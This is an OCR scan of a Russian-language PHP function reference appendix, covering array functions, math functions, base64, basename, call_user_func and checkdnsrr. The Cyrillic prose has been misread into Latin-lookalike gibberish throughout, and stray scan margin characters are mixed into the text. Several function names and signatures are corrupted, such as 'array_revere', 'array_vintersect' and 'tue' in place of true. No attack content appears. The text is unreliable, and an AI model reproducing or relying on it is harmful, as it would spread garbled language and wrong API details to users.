NpeZ0CTaBJEHHOTO MAacCHBa K mpebiaylieMy. Eciu MacCHBBI UMEIOT OMHAKO-
Bbl€ CTPOKOBBIE KJIIOYH, TOT/IA KaX/0€ Mocaeayoliee 3HadeHe OyaeT 3aMeHsITb
npeabiayiee. Eciu MacCUBbI MMEIOT OJJMHAKOBbIE YKCJIOBbIE KJIIOYH, 3HAUEHHE,
YIOMSIHYTO€ MOCJIeIHHM, He 3aMEHUT MCXO/IHOEe 3HayeHue, a Oyaer 106aBjaeHO
B KOHeL[ MacCHBa.

array_merge_recursive
array array_merge_recursive(array array 1, array array?2|, ... array arrayN])

[Togo6HO array_merge() co3maeT M BO3Bpall[aeT MAacCHB IIyTEM IPHCOEIH-
HEHHUST KaXX[I0Or0 BXOAHOrO MaccuBa K mpeabiayieMy. OnHaKo, B OTJHYHE OT
array_merge(), KOTZIa y HECKOJbKHUX 3JIEMEHTOB €CThb TaKOil >Xe CTPOKOBOM
KJII0Y, MAaCCHB, COJIEPKALLMIi KaX/10e 3HaueHne, OyaeT BCTaBJIEH B PE3yJIBTHDY-
IOL[HI1 MaccHB.

array_multisort

bool array_multisort{array array 1], SORT_ASC| SORT_DESC
[.SORT_REGULAR| SORT_NUMERIC | SORT_STRING]][, arrayarray2[, SORT_ASC | SORT_DESC
[, SORT_REGULAR | SORT_NUMERIC | SORT_STRING]], ...])

Wcnonp3yeTcs 1151 OMHOBPEMEHHOI COPTHPOBKH HECKOJIBKUX MAaCCHBOB MJIH XK€
JUIS. COPTHPOBKH MHOTOMEPHBIX MacCCHBOB B OJHOI1 WK 6ojiee pa3MepHOCTSIX.
BxoaHbie MaccuBbl 06pabaThIBAlOTCS Kak CTOJIOLBI B Tabuuie, Kotopast Gyaer
OTCOPTHPOBaHA IO CTPOKAM - EPBBI MACCUB - OCHOBHOI COPTUPYEMBbII MacCHB.

ITepBoiit MaccuB - MaccuB. [lociie Hero MoXxeT ce10BaTh TOXKe MaCCUB MJIM OAMH
U3 creayouux ¢aroB cOpTUpoBKH (J1ark COPTHPOBKU MCIOJb3YIOTCS AJIsI M3-
MeHeHHsI MopsiIka COPTHPOBKH 110 YMOJYaHHIO):

e SORT_ASC (110 yMOYaHHIO) - COPTHPOBKA B NIOPsI/IKe BO3pacTaHHUsI
e SORT_DESC - COPTHPOBKa B NOpsiAKe yObIBAaHUS

ITocne aToro MOXXHO yKa3aThb THI COPTHPOBKH:
e SORT_REGULAR (110 YMO.JIYaHHUIO) - 0ObIYHOE CPAaBHEHHE 3JIEMEHTOB
e  SORT_NUMERIC - cpaBHUBA€ET 3J1EMEHTHI KaK YHUCJIa
e SORT_STRING - cpaBHMBAET 3JIEMEHTbI KaK CTPOKH
Dnaru COPTUPOBKM IIPUMEHSIIOTCSI TOJIBKO K MPE/IIIECTBYIOIEMY MACCHBY M OHH

cbpacbiBatoTcst B SORT_ASC M SORT_REGULAR mepe/ KaXX[bIM HOBbIM aprymeH-
TOM MacCHBa.



Ita GyHKUMS BO3BpAIIaET true, €CJIM ONepalust Oblia ycreuiHa u false - B po-
| THBHOM CJIy4ae.

n array_pad

array array_pad(array input, int size[, mixed padding])

w
Bo3sBpaiaer konuio MaccuBa input, JOTIOJTHEHHOTO A0 pa3Mepa size 3JIeMEHTa-
€| MU co 3HayeHHeM padding. Bbl MOXeTe 106aBUTh 31EMEHTBbI B Ha4al0 MacCHBa,
m yKa3aB OTPHLIaTeNbHbIN pa3mep. B aToM ciyyae HOBBIM pasmep MaccuBa - abco-
' JIIOTHOE 3HayeHHe pa3Mepa.
(nd Ecnu abcomoTHoe 3HayeHHe mapaMeTpa size MeHbllle MJIH PAaBHO pa3Mepy Mac-
" 7% cuBa input, QYHKLHS He IPOM3BOAUT HUKAKUX ONepalyil ¥ BO3BpallaeT HCXO-
i

E AHYIO KOITUIO MaCCHBa.

© | array_pop

mixed array_pop(array &stack)

b » ]
* Yianser nocJenHee 3HadeHHe U3 3aJaHHOTO MacCHMBa U Bo3BpailaeT ero. Eciu
~ | MaccuB MmycT (MM apryMEHT He sSIBJISIeTCSI MAaCCUBOM ), Bo3BpauiaeT NULL. O6pa-
7% THTe BHUMaHMe, YTO yKa3aTesb MacCuBa cOpachiBaeTCsl [JIsl IPEA0CTABIEHHOrO
-

. MaccuBa.

~ array_product

number array_product(array array)

=z
”‘: BO3BpalﬂaeT HpOI/IBBeJIeHI/Ie KaX0ro 3JieMeHTa B MaCCHUBeE. ECJH/I Ka)KlIbIﬁ aJie-
# | MEHT MacCCHBa - LIeJI0e YHCJIO, Pe3yJIbTaT TaKXke Oy/eT Le/IbIM YMCIIOM, B TIPOTHUB-
“9'3 HOM CJlydae pe3yJ/IbTaT - BeIleCTBEHHOE YUCJIO.
: array_push
0
. intarray_push(array &array, mixed value 1, ... mixed valueN])

© : JlobaBisieT 3aJjaHHble 3HAYEHHUST B KOHELl YKa3aHHOTO B EPBOM apryMeHTe Mac-
! CHUBa U BO3BpAlllaeT HOBBIM pa3Mep MaccUBa. BolnosiHeHue 3Tol pyHKLUUU aHA-
JIOTUYHO BbI30BY $array[]=$value 7151 KaXK0r0 3HaYEHHUS B CIIUCKE.

« : array_rand

mixed array_rand(array arrayl, int count])

BosBpaiiiaer ciyvaiiHblii 3JeMeHT U3 3aaHHOrO MaccuBa. Bropoii (HeoOsi3a-
< | TesbHBIN) MapaMeTp YKa3blBaeT, CKOJIbKO 3JIeMEHTOB HY>KHO BepHyTb. Eciu Bo3-
Bpalaetcsi 60Jbliie OJHOrO 3JIeMEHTA, BO3BPAILIAETCSI MACCUB 3JIEMEHTOB BMECTO
OJTHOTO 3JIEMEHTA.



______________ Mpunoxexue. Cnpaso4HUK N0 GYHKUMAM

array_reduce

R
mixed array_reduce(array array, mixed callback|, int initial]) ’
[IpumeHnsier pyHKUUIO callback K 37€MEHTaM MaccuBa array M, TaKMM 00Opa- =
30M, CBOAMT MacCHB K e/IMHCTBEHHOMY 3HadeHu10. Eciiv 3agan TpeTuii napameTp, ! .,
TO OH 6leeT HMCITIOJIb30BaH B HadaJle Mpouecca, UJin B Ka4€CTBE OKOHYATEJIbHOIO 1 ______
pe3yJibraTa B CJlyyae MyCcTOro MacCHBa. e
array_replace P

array array_replace(array array 1, array array2], ... array arrayN]) ‘e

Y]

Bosspamaer MaccuB, co3aaHHBIN MyTeM 3aMeHbl 3HaYe€HMH B MacCuBe arrayl |
3HaUEHUSIMH U3 APYTMX MACCHUBOB. JJIEMEHTBI B MAacCHUBE arrayl C KJIIOYaMH, :
COBMAJAIIMMHU C MACCHBAMH 3aMeHBI, OYyT 3aMEHEHbI 3HAYEHUSIMU 3THUX JJle- |

4yaM 3HayeHHUsI U3 BceX CJeAyILIMX MaccuBoB. Eciu kiou U3 nepBoro maccu-
Ba eCTb BO BTOPOM, €r0 3HaueHHe Oy/IeT 3aMeHeHO Ha 3HaYeHHe U3 BTOPOTO Mac- | =
cuBa. Ecaiu KJ1104 ecTh BO BTOPOM MaccHBe, HO OTCYTCTBYET B [IEPBOM, OH OyzeT
CO3[1aH B NepBOoM MaccuBe. Eciii KJIIOY ecTb TOJIBKO B IIEPBOM MacCHUBe arrayl, | ©
TO OH OCTaeTCs1 KaK ecTb. o

MEHTOB. L
Ecuiu 17151 3ameHbl epesiaHo HeCKOIbKO MacCHBOB, oM OyayT obpaboTanbi BMo- | _
pAAKe nepefayy u 60iee O03AHKE MACCUBBI Oy T ePe3anuchiBaTh 3HAYEHUS U3+
npeapAyux. JIro6ble 371eMeHTbl B MACCUBE array 1, OTCYTCTBYIOLIME B MacCh- : _
Bax 3aMeHbl, OyyT COXPaHEHbI KaK eCTb. e
: . L one
array_replace_recursive Susll
array array_replace_recursive(array array1, array array?2], ... array arrayN]) Pl
3ameHseT 3HAYEHHS TIEPBOTO MAcCUBa array] HA COOTBETCTBYIOLIME MO KJIO- !

Voo
Ecnu n1epeaHo HeCKOIbKO MacCHBOB, OHU OyayT 06paboTaHbl MO NOPSAKY, HO- | ..
cJieayrlye nepe3anucblBaroT NpeaAblAyliie 3Ha4€H . i (=}
array_revere .
array array_reverse(array array|, bool preserve_keys]) v
Y

BosBpautaer maccuB, cogep:kaliuii Te ke 3J€MEHTBbI, YTO U MACCHUB array, HO
B obpatHOM mopsiake. Eciu mapameTp preserve_keys YCTAHOBJIEH B tue, YHMC- | .
JioBbI€e KJi04M O6yayT coxpaHeHsl. Ha CTPOKOBbIE KJIIOYHM 3TOT NMapaMeTp He BJIM-

S€T U OHU BCErjaa COXpaHAITCA. E e
array_search .
mixed array_search(mixed value, array array|, bool strict]) Fewees
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OC}’IL[ECTBIIHCT IIOUCK 3HAYEHUA B MACCHUBE, KaK U B CJjiydyae C in_orroy(). Ecnu
3HauYeHHe HallieHo, BO3BpalllA€TCsA €r0 KJIIOY. B IIPOTHUBHOM CJ1y4Ya€ BO3BPAlIA€T-

H csi NULL. Eciu mapamertp strict paBeH true, TO [JIsSi CPAaBHEHHUsI 3JIEMEHTOB Oy-

OET UCII0JIb30BAaTbhCA OIIE€EPATOD ===, 4 HE ==.

array_shift
mixed array_shift(array stack)

ITogo6Ha dyHKUMK array_pop(), HO BMECTO y/JIaJ€HHs] W BO3BPALIEHHUS IO-
CJIeIHETO 3JIeMeHTa MAaCCHBA, OHA yIaJIsieT U BO3BpallaeT NMepPBbIi 3JIEMEHT Mac-
cuBa. Eciin MaccuB mycT WJIM MepelaHHbIl apTYMEHT He SIBJISIETCSI MAaCCHUBOM,
Bo3BpauaeT NULL.

array _slice
array array_slice(array array, int offset], int length][, bool keepkeys])

BoaBpamaeT MaCCHB, COCTOSIIIM I Ha6op JJIEMEHTOB, INMOJYYEHHDbIX M3 3alaHHO-
ro MaccuBa. Eciu offset - mosioxxurenbHoe YHCJIO, IMOCJIEea0BAaTEJIbHOCTb HaAy-
HETCS Ha YKa3aHHOM DpaCCTOAHUHU OT Ha4aJjia array. Ecau offset - OTpULATEJIb-

5 HO€ 4YHCJIO, ITOCJIE10BATEJIbHOCTD HAYHETCST Ha PaCCTOAAHUHU YKa3aHHOM PacCCTO-

SIHUM OT KOHIIA array. EcJid mepenaH TpeTuii mapaMeTp U OH TMOJIOXKUTETbHBIMH,
Gy/eT BO3BPALIEHO yKa3aHHOE YKMCIO 371eMeHTOB (Length). Ecaiu atoT mapamerp
OTpHULIATETbHBIN, MOCJIEI0BATENBHOCTh OCTAHOBUTCS HA YKA3aHHOM PACCTOSTHUM
OT KOHIIa MaccuBa. Eciiv oH ony1ieH, mocjie[oBaTeIbHOCTb OyIET COAEPKATh BCE
3JIEMEHTHI C offset IO KOHIIA MACCHBA array.

Ecau 3aman napametp keepkeys ¥ OH paBeH trve, OYIyT COXpaHeHbI YHCJIOBbIE
KJIIOYH. B IpOTHBHOM ciiyyae 4KCII0BbIE KII04YM OYAyT NepeHyMePOBaHbI U Nepe-
COPTHUPOBAHBI.

array_splice

array array_splice(array array, int offset[, int length[, array replacement]])

Ynanser length 37€MEHTOB, PACIIOJOXEHHBIX HA PACCTOSIHUM offset M3 Mac-
CHBa input, U 3aMEHSIET UX 3JEMEHTAMH MAaCCUBa replacement, €CJIM OH Iepe-
JIaH B KauecTBe napameTtpa. byayT Bo3BpallieHbl yaaneHHble (MM 3aMEHEHHBIE)
3JIEMEHTBI.

array_sum
number array_sum(array array)

Bo3Bpa1uaeT CyMMY BCEX 3JIEMEHTOB MaCCHUBa. Ecnu Bce uncia - 1eJjsble, TO pe-
3yJIbTaT TOXE 6y11eT LE€JIBIM YHCJIOM. Eciu OQHO U3 YUCEJ - BELIECTBEHHOE, TO peE-
3yJIbTaT TOXE 6y/1€T BE€LIECTBEHHbIM.

"‘Ezzl'
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array_udiff

array array_udiff(array array1, array array?2], ... array arrayN], string function)

BosBpaiaer MaccuB, conepxauivil Bce 3Ha4yeHUs B array 1, KOTOPbI€ OTCYTCTBY-
IOT B IPYTUX MaccuBax. B cpaBHEHWH y4YacCTBYIOT, TOJIBKO 3HAUY€HHUs. ITO O3HA-
4aeT, 4TO napsl “a => 1" U “b => 1” paccMaTpuBalOTCs Kak paBHble. s cpaB-
HEHHUs1 3HAYeHHWH ucrosb3yercss GyHKUMS function. DYHKIMA NPUHUMaET 1Ba
napaMeTpa - 3HaueHHsl, KOTOpbie HY>XHO cpaBHUTb. DyHKIIMs BO3BpAllaeT 3Ha-
yeHue MeHblile 0, eciv MEPBBIil apIYMEHT MeHbllle BTOpPOro, ), eC/Ii apryMeHTbI
paBHbI U 3HayeHUe Oosblie 0, eciu nepBblit apryMeHT 60sblie BToporo. Kinouu
3HAYEeHUH COXPaHSIOTCS.

array_udiff_assoc

array array_udiff_assoc(array array1, array array2
[, ... array arrayN], string function)

Bosspauaer MaccuB, cosiep>kallliii Bce 3HaY€HUsI B array |, KOTOPbIE OTCYTCTBY-
I0T B IPyTMX MacCUBax. B cpaBHEHUM y4yacTBYIOT, KaK KJIIOYH, TAaK U 3HAUYEHHS.
ITO 03HAYaeT, YTO Mapkel “a => 1” U “b => 1” He pacCMaTPUBAIOTCSI KAK PaBHBIE.
15 cpaBHeHUs 3HaYe€HUH HCHoOJb3yeTcs (yHKIUS funcion. DYHKIMSA MPU-
HUMaeT /IBa MapaMeTpa - 3HaYeHHs1, KOTOPble HY>KHO cpaBHUTb. DyHKIMS BO3-
BpallaeT 3HaueHue MeHblle 0, eciv nepBblii apryMeHT MeHbllle BToporo, (), eciu
apryMeHTbI PaBHbI U 3HayeHue GoJiblie 0, eciv nepBbiil apryMeHT 6oJiblie BTO-
poro. Kjtouu 3HaueHUit COXpaHSIOTCS.

array_udiff_uassoc

array array_udiff_uassoc(array array1, array array?2|, ... array arrayN],
string function]1, string function2)

BosBpataer Maccus, conepxalliuii Bce 3HaueHUs B array |, KOTOPbIE OTCYTCTBY-
I0T B IPYTUX MaccuBax. B cpaBHeHMM yyacTBYIOT, KaK KJIIOYH, TaK U 3HAYEHMUSI.
ITO 03HAYaeT, YTo mapbl “a => 1” 1 “b => 1” ne paccMaTPUBAIOTCS KaK paB-
Hble. DyHKUMA function] MCMONB3YeTCs /ISl CPAaBHEHUs 3HAUYEHHUH 3JIEMEHTOB.
ODyHKuuUA function2 Mcnosb3yeTcs st cpaBHeHMs1 kmoved. Kaxaas dyHkuus
BBI3BIBAETCSI C IBYMsI [TapaMeTPaMH - 3HAYEHUSIMHU [1st cpaBHeHus1. Kak 06b1yHO,
(yHKUMS m0oKHA BepHYTh 3HaYeHHe MeHblie 0, eciv NepBbId apryMeHT MeHb-
e BToporo; 0, ec/ii apryMeHTbl paBHbI U 3HaYeHue Oosiblie 0, eciiv nepBblii ap-
ryMeHT Gouiblite Broporo. Kioun 3HaueHHii COXpaHSIIOTCS.

array_uintersect

array array_vintersect(array array1, array array?2
[, ... array arrayN], string function)




R i o

e = s w A - e e = T

BosBpaulaer mMaccus, cogepxallidii Bce 3HayeHUsl B MacCUBe arrayl, KOTOpbIE
MPUCYTCTBYIOT BO BCeX JPYruX MaccuBax. B cpaBHeHMHM Ha 9KBMBAJIEHTHOCTb
Y4YacTBYIOT TOJIbKO 3HaYeHUsl, 3TO O3HaYaeT, uTo “a”=>1 u “b”’=>1 paccmarpuBa-
I0TCS1 KaK 3xBUBaleHTHble. [[/1s1 cpaBHeHMsI McnoJb3yercsl MYHKLUS function.
ODyHKLMS TPUHUMaeT /Ba MapaMeTpa - 3HaYeHUsl, KOTOpble HY)XHO CPaBHUTb.
ODynkuus Bo3BpallaeT 3HaueHHe MeHblile 0, eCIM MepBBIH apryMeHT MeHblie
BTOpoOro, 0, ecM apryMeHThl paBHbI U 3HaueHue Goublie 0, eciu mepBbIit apry-

MeHT 6oJibliie Broporo. Kitoun 3HaueHuit COXpaHsiIoTCsl.

array_uintersect_assoc

array array_vintersect_assoc(array array1,
array array?2|, ... array arrayN], string function)

BosBpamiaer maccuB, comepxalii Bce 3HaueHUsI B MacCUBE array 1, KOTODbIE
NPUCYTCTBYIOT BO BCEX APYTMX MacCHBaX. B cpaBHEHMM Ha 3KBUBAJIEHTHOCTb
YYacTBYIOT U 3HAUEeHUSs, U KJIIOYHM, a 3TO O3HAYaeT, 4yTo “a”’=>1 u “b”=>1 paccMma-
TPUBAIOTCSI KaK HesKBUBaJeHTHble. /Iyl cpaBHeHUsT ucrosb3yeTcss QyHKLHUS
function. DYHKIMS TPUHUMAeT ABa MapaMeTpa - 3HauYeHUsl, KOTOpble HYXKHO
cpaBiuTh. DyHKUMS Bo3BpallaeT 3HaueHue MeHblile (), ec/ii nepBblii apryMeHT
MeHbliie BTOporo, 0, eciii apryMeHTbI paBHbI U 3HaueHue 6oJiblite 0, eciv mepBblit
apryMmeHT 6oJibliie Broporo. Kiouu 3HaueHuii COXpaHSIOTC.

array_uintersect_uassoc

array array_uvintersect_uassoc|array array1, array
array?|, ... array arrayN], string function1, string function2)

BosBpaiaetr MaccuB, copepxaliuii Bce 3HaueHUs] MEPBOr0 MacCHUBa, KOTOpPbIe
TaK)Xke MPUCYTCTBYIOT BO BCeX APYTMX MaccuBax. B cpaBHeHMM Ha 9KBUBa/IeHT-
HOCTb Y4aCTBYIOT M 3Hau€HUsl, U KJIIOYH, a 3TO O3HayaeT, YyTo “a”’=>1 1 “b’=>1
paccMaTpUBAIOTCSl KaK HedkBHBajeHTHble. (DyHKIMS function] HCTONB3yeT-
csi /Il CpaBHeHMsI 3HaueHUi asneMeHTOB. (DyHKIMS function2 MCMOJIB3yeTCst
1J1s1 cpaBHeHUs Kimoveit. Kaxxaast GyHKIMsI BBI3bIBAaeTCsI C ABYMs TapaMeTPaMHy -
3HaYeHHsIMU 1151 cpaBHeHus1. Kak 06bruHO, hyHKINS 10/KHA BEDHYTh 3HAYEHHe
MeHblie (, ecii nepBblii apryMeHT MeHblile BTOporo; 0, ecii apryMeHTbl PaBHBI
¥ 3HayeHue Goublie 0, ecn mepBbIit aprymeHT Gosblite Broporo. Kioun 3Have-
HUH COXPaHAIOTCS.

array_unique
array array_uniquelarray array|, int sort_flags])

Cosznaer 1 BO3BpallaeT MAacCUB, COAEPXKAIUMH TOJBKO YHUKAJIbHblE 3HAUEHUSI
U3 3aaHHOro MaccuBa. Eciu 3HaueHus: ay6aupyiorcs, 6osiee no3anue ay6siu-
KaTbl OyAyT MPOUTHOPUPOBaHBI (B Pe3yJbTUPYIOIIMIA MacCUB TOMAAET TOJb-
KO OIHO 3HaueHue). APryMeHT sor_flags siBJIsieTCsI HeoOsI3aTEJIbHbBIM M MO-



_____________ Npunoxexue. CnpaBoYHUK NO GyHKYUAM

XKeT ObITb HUCIOJIb30BaH /ISl U3BMEHEHHsI METOA0B COPTUPOBKH SORT_REGULAR,
SORT_NUMERIC, SORT_STRING (mo ymo./iuaHui0) U SORT_LOCALE_STRING. Kiio-
YU UCXOHOIO MacCHUBa COXPaHSIOTCS.

array_unshift

=
int array_unshift(array stack, mixed value1[, ... mixed valueN]) by
BO3Ban.IaeT KOIHIO 3a/1aHHOr0 MaCcCHBa C 1ONOJTHUTEJIbHBIMU apryMeHTaMHu, 10- P e
6aBJ1eHHbIMH B HauyaJio MaccuBa. HoBble 371eMeHThI 6yﬂyT IIO63.BJ'IeHbI KaK equ- &
HO€ LIE€JIOE, ITI0O3TOMY OHH IOSABATCA B MaCCHBE B TOM INOPAAKE, B KOTOPOM OHHU
3alaHbl B CITUCKE apIT'YMEHTOB. BO3BpaLU,aET YHUCJIO 2JIEMEHTOB HOBOT'O MaCCHBa. : s
array_values T
: T
array array_values(array array) O
o L
BoaBpal.uaeT MaCCUB, COAEPXKAUIUU BCE€ 3HAYEHUS BXOAHOIO MaCCHBa. Koioun 4
3TUX 3HAYEHUN He COXpPAaHAKOTCA. E o
array_walk o
bool array_walk(array input, string callback[, mixed user_data]) T
BoisbiBaeT (pyHKUMIO callback [ssi Kaxgoro asnemeHta MaccuBa. (DyHkuuu @ =
nepefiaeTcsl 3HauyeHWe, K4 M HeoOs3aTeslbHbI apryMeHT user_data. Yro- |
—t

651 pyHKIMS paboTasa HeMOCPeICTBEHHO Ha 3HAYeHHsX MAcCHBa, onpeienure @
nepBblil napaMeTpbl GYHKLUMH KaK cCbUIKY. BosBpallaer tve B ciyyae ycrex, : -
false - B MPOTHBHOM CJ1y4ae. .

array walk_recursive Pz
bool array_walk_recursive(array input, string function[, mixed user_data]) o
[Tono6HO GyHKUMH array_walk() BbI3bIBaeT (PYHKIMIO AJSI KaXIOrO 3JEMEHTa c_

B MaccuBe. JTa GyHKIMs 06pabaThiBaeT KaX/Iblii 31EMEHT MHOTOMEPHOTO Mac- o
CHBa, B OTJIMYME OT array_walk(), KOTOPYIO MOXHO MCIOJIb30BaTbCS TOJIBKO 3:::

[aJ1s1 OOTHOMEPHBIX MAaCCHUBOB. q)yHKI_IHH NEPENAETCA 3HAYEHHUE, KIIIOUY U Heobs1-

3aTeNbHbIA apryMeHT user_data. YT0ObI (pyHKIMs paboTana HENOCPEACTBEHHO '
Ha 3HaY€HHUsAX MaCCUBa, OIIpEAE/IUTE HepBbIﬁ napaMeTpbl q)yHKHI/IM KaK CCbLIKY. ;----~-
BosBpaluaer true B ciiyyae ycriex, false - B IPOTUBHOM CJIyyae. ;@
arsort L
bool arsort(array array|, int flags]) T
i

CoptupyeTr MaccuB B 0OpaTHOM TOpsiIKE, COXPaHsisi Tapbl KJIOY=>3HaueHHe.
Heobs3aTebHblil BTOPOil TapaMeTp coaepxKUT dard copTupoBku. Bosspama- : =
€T true B CJIydae ycrexa, false - B IpOTUBHOM ciy4dae. [logpo6HO aTa GyHKIMSA ===+
U (pYHKLMS sort ONMCaHa B IJ1aBe J. D
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asin
float asin(float value)
BosBpaluaer apkCHHYC 3HadeHHs value B paJiMaHaXx.

asinh

float asinh(float value)

BosBpaiuaer runepbosnyeckuii apkcuHyc (06paTHbIN rHNepOOJHYHBIA CHHYC)
3HayeHUs value.

asort

bool asort{array array|, int flags])

CoprupyeT MaccuB, COXpaHsisi maphbl Kiawuy=>3HayeHue. Heobsi3aTebHbli BTO-
po¥i mapametp cozep>XuT ¢iard copTUpoBKU. Bo3Bpaluaer true B ciyyae ycre-
xa, false - B ciyuyae Heynayu. IloapoGHo ata dbyHKUMS UM GYHKUMS sort ONMHU-
caHa B IJIaBe 5.

assert

bool assert(string| bool assertion|, string description] )
Ecau assertion paBeH true, Oyner creHepupoBaHO mnpeaynpexzaenue. Eciau
assertion - CTpoKa, oHa Oymer pacueHeHa kak PHP-kox. HeobGsizaTenbHbiit

BTOPOI1 napaMmeTp 3a/laeT JIONOJHUTEIbHBIA TEKCT, KOTOPbIA Oyner mobasiieH
B coobienue 06 omnbke. CM. GYHKUHIO assert_options().

assert_options

mixed assert_options(int option[, mixed value])

Ecnu valve - ykasaH, TO 3HaueHHe ONLMUH option OYZET YCTAHOBJIEHO B value
M BO3BpAllleHO cTapoe 3HaueHHe onuuu. Eciau value He ycTaHOBJIEH, TO OyneT
BO3BpAIllEHO TeKylllee 3HAaYeHHe ONUUM option. [lJIsT option JOCTYMHBI cieny-
IoLI1e 3HAYEeHUsT:

e ASSERT_ACTIVE - BKJIIOYAET assert()-IIPOBEPKH.

e ASSERT_WARNING - BBIBOAMT NpPeAYNpeXAeHUs I KaXKI0i MPOBEPKH,
3aBeplIMBLIENCS Heylayen.

e ASSERT_BAIL - 3aBEPIUIMTD BBINTOJIHEHHUE B CJIy4ae [TpOBaJia IPOBEPKH.
e ASSERT_QUIET_EVAL - OTKJIOYHUTb JUPEKTUBY  error_reporting  BO
BpeMs [IPOBEPKH YTBEPXKIEHHUS.

e ASSERT_CALIBACK - BBbI3bIBaTb YyKa3aHHYIO I0Jb30BaTesneM callback-
¢dyHKUMIO 1711 06pabOTKH yTBEPXKAEHHUS, KOTOPOE He MPOLLIO IPOBEPKY.
dyukuuu Oyznet nepenaHo TpU apryMenTa: ¢aiis, CTpOKa M BbIpaXKEHHUE,
He MpolLe/lIee IPOBEPKY.



Mpunoxexue. CpasoyHUK NO GYHKLUMAM

float atan(float value)

BoaBpauiaet apkranreHc 3HaueHUs valve B paJHaHax.

atan2 H

float atan2(float y, float x)

X
DyHKUMS BBIYUCISAET AaPKTAHTEHC IEPEMEHHBIX x U y. 3HAKH 000OMX apryMEHTOB !

-
HCITIOJIb3YIOTCS AJIS1 BBIYUCJIEHUS KBa/IpaHTa pe3yJibTaTa. 4
atanh b

float atanh(float value) £

0 1559
Bosspaiuaer o6paTHbIi runepOOJMYeCKUi TAHTEHC 3HaYeHU value. o

L]
base_convert :

=

string base_convert(string number, int from, int to)

KoHBepTUpyeT 4HC/IO number U3 OAHOI CHCTEMBI cuuciaeHus: B Apyryio. Vcxo- | —
JIHasi CUCTEMA CUMCJIEHHUST 3a/1aeTCS IapaMeTPOM from, U3 Hee YUCJIO0 OyaeT KOH- -
BEPTHPOBAHO B CHCTEMY, 33/laHHYIO MTApaMeTPOM to. Ba3a cHUCTeMBbI CUMCIIEHUsT |
MoxeT 6bITh B Anamnazone oT 2 10 36. Iludpsl B cucteme cuucienus c 6a3oii !

Boille, yeM 10 npeacraBasitorcs 6ykBamu a (10) xo z (35). IIpu ucnosab3osa-
HUM 32-pa3psiIHbIX YKCEJI, MAKCUMAJIbHOE JeCITHYHOE 3HaYeHHe, KOTOPOe MO- ! =
xeT ObITb peobpa3oBaHo - 2,147,483,647. '
base64 _decode P =
string base64_decode(string data) ' o
Hexoaupyer naHHble data, 33KOAMPOBaHHBIE ¢ NOMOLIBIO base-64, B cTpoky (ko-
TOpast MOXeT cofiepaTh ABOUYHbIE AaHHbIe). [ 60see moapobHoi uHdopMa- + *
uuu cM. RFC 2045. f &
base64_encode S
-
string base64_encode(siring data) L
Bosspaliaer 3akogMpoBaHHYIO ¢ NoMolbio base-64 cTtpoky data. Koauposanue @
MIME base-64 ucnonb3yercs st nepegayd ABOMYHbIX WM APYTUX 8-OMTHBIX !
JAHHBIX 110 MPOTOKOJIAM, KOTOpbIe He MOIyT (Ge30macHo nepegaBath 8-6utHbie :
JlaHHble, HAIIPUMep, M0 3JIEKTPOHHOH MOYTe. '
basename :
P>
string basename(string path[, string suffix]) e
VN



Boasspautaer ums ¢aitna u3 nomHoro nyTH K paitny, KoTopsiil 3ajaH apryMeHTOM
path. Ilapametp suffix comepxut cydodukc (obpryHO “pacuiupeHue”), KOTO-
pblit 6ynet ynanen u3 umenu. Hanpumep:

$path =" /usr/local/httpd/index.html”;

echo(basename($path)); // index.html
echo(basename($path, *.html')); // index
bin2hex

string bin2hex(string binary)

KonBeprupyert binary B miecTHaauarepudHoe 3Hayenue (6asa = 16). Ilpu uc-
MOJIb30BaHUH 32-Pa3psIHBIX YHCEJI, MAKCUMaJIbHOE IeCSITHYHOE 3HayeHue, Ko-
TOpOE MOXKET ObITh Mpeobpa3oBaHo - 2,147,483,647.

bindec
number bindec(string binary)

KoHBepTUpyeT binary B AecATHYHOE 3HayeHWe. IIpu Mcnonb3oBaHMH 32-pa3-
PSITHBIX YMCEJl, MAKCUMAJIbHOE AECATHYHOE 3HAYeHHe, KOTOPOE MOXET ObITh
npeobpas3oBaHo - 2,147,483,647.

call_user_func
mixed call_user_func(string function[, mixed parameter1], ... mixed parameterN]])

Bri3biBaeT GyHKLUIO, 3alaHHYIO B IEPBOM NapaMeTpbl. JlonomHUTeIbHbIE Tapa-
METPBI UCIOJIB3YIOTCS KaK MpH Bbi3oBe GyHKIMH. Bo3BpaluaeT 3HaueHue, BO3-
BpalleHHOe QyHKIHEH.

call_user_func_array

mixed call_user_func_array(string function, array parameters)

[Tomo6Ho yHKUMH call_user_func(), 3Ta ¢GyHKUUA BbI3bIBae€T (GYHKIMIO
C UMeHeM function C TapaMeTpaMH, 3aJaHHbBIMU B MACCHUBE parameters. B03-
BpalllaeT 3HaueHue, BO3BpallleHHOe QYHKIIHEH.

ceil
float ceil(float number)

BosBpaiaer 6nxaiiiiiee Haubosibliiee 11€710€ OT number, KOTOpoe OYAET OKPY-
TJIEHO B GOJIBINYIO CTOPOHY B CJIy4ae HEOOXOAMMOCTH.

chdir
bool chdir(string path)

YcranaBnuBaer Tekyuuii pabouMii kaTajor B path. Bo3sBpaiuaer e, eciu
orepalys NpolilJia YCHelHo U false - B IPOTHBHOM CJIy4Yae.




checkdate

bool checkdate(int month, int day, int year)

Bosspaiuaer trve, eciin Mecsn (month), nenb (day) u roa (year) siBasioTcs 10-
NyCTUMbIMH 3HaUYEHHUSIMHU 1aThl, false - B MPOTUBHOM cJyyae. [lata cuutaercs
JIOTIYCTUMOM, €CJIU TOJl HAaXOAUTCS B [uana3oHe oT 1 10 32767 BKJIOYUTEIBHO,
Mecsiil - oT 1 10 12 u geHb - ot 1 1o N, rae N - uucyio nHel B Mecsilie (BUCOKOCHbIE
rofibl TAKXKe YYUTBIBAIOTCS ).

checkdnsrr
bool checkdnsrr(string host[, string type])
Wuter DNS-3anmucu yssa host 3ajaHHOTO THMNA type. Bo3Bpalaer true, ecju

3anuch (3anmucu) HalzeHsl, false - B NpOTUBHOM cJayuyae. Eciu Tun He ykasaH,
110 YMOJIYAHHIO UCTOJIb3yeTcsl TUT MX. [[pyrue 3HaueHUsI apryMeHTa type:

e A-IP-ampec.

e MX (10 YMOJTYAHHIO) - MOYTOBbIIA CEpPBeEP.
e NS - cepBep UMEH.

e SOA - HayaJI0 NOJTHOMOYHH.

e PTR - yka3aTeJsb Ha UHQOPMALHIO.

o CNAME - KaHOHHYECKOE UMH.

e AAAA - 128-6utHbliit IPv6-agpec.

e A6 - onpezesieHa Kak yacth paHHero IPv6, HO Oblia MoHMXeHa 10 JKCIIe-
PUMEHTAJIbHOM.

® SRV - HCIIOJIb3YETCA J1d ONpeaesIeHuA 06Hapy>i<emm XOCTa.

